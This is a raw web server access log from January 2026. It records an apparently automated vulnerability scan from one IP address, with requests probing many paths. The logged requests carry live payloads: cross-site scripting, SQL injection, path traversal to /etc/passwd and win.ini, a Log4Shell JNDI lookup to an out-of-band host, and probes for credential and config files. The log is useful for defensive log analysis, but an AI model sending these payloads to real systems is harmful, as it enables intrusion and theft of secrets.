[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cosmobdf.cgi?function=0 HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://202.181.208.139:443//metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?dev HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/credentials.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Upload/test/380DI8qRzeX3xoEHUgvrYfFvWhC.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccm-web/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud-config.txt HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///home HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.feed.servlet HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WebInterface/function/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /finish-installation/register HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /email/unsubscribed?email=test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cxcum/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /JavaScriptServlet HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NON_EXISTING_PATH/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3/users HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSLVPN\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //content-elements/job-ad/index.html?reloaded&sort=date_desc&page=1\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/info.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.yml HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.py HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/_catalog HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?mod[]=auto HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.gz HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-cloud.yml HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.development.local HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportSettings.sh HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hedwig.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /darkstat/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.lz HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dolphinscheduler/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dockercfg HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dockerfile HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doku.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/views/ajax/autocomplete/user/a HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "@tls-sni: 202.181.208.139:443" 226
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/config.rb HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index2.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/eatery/nav.php?-Menu-=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/0 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /domcfg.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(999999999))) HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/portalTsLogin/utils/getE9DevelopAllNameValue2?fileName=portaldev_%2f%2e%2e%2fweaver%2eproperties HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logo/380DI7RLAQZ51nth5c9Tt7i21Ul.txt HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /page/exportImport/uploadOperation.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/down.php?dw=config/config.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/customization/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.ini HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.editorconfig HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/settings.py HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql_config.ini HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons HTTP/1.1" 238
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/submitLogin HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/plugin/VerifyQuickLogin.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pro/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DxPlanning/WebBooking/Version HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/config.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php?profile=default HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /member/authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.composer/composer.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.feed HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //old HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_config.properties HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dotAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/schema.rb HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/development.log HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /easy/app/Account/Login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cosmobdf.cgi?function=1 HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_notes/dwsync.xml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Access/default.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v12/setup/temp/admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/City_ajax.aspx?CityId=33'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','380DIQWh2zatU2AkhUlT2imQGXQ')),2-- HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/authentication_page.htm HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /showfile.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsonapi/user/user HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dbeaver/credentials-config.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dc2/admin/auth.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.DS_Store HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /final/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.prod.yml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.rar HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod.local HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-media-gallery-pro/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str(98989*44313),null HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.Dockerfile HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dwr/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.asp?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /internal/security/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/connector.minimal.php?cmd=file&target=l1_Li8vLi4vLy4uLy8uLi8vLi4vLy4uLy8uLi9ldGMvcGFzc3dk&download=1 HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manifest.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pretty HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /confluence HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/1 HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-607%7D$%7B%3A-337%7D.$%7BhostName%7D.search.d5g6to2hausk1oj0j65g8ygp5wkjhfy75.oast.live%7D HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.docker/config.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/elfinder.min.js HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elmah HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /views/ajax/autocomplete/user/a HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/exportImport/fileTransfer/380DIGBPSC7FbRX7cwFptNUFfiF.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /token HTTP/1.1" 196
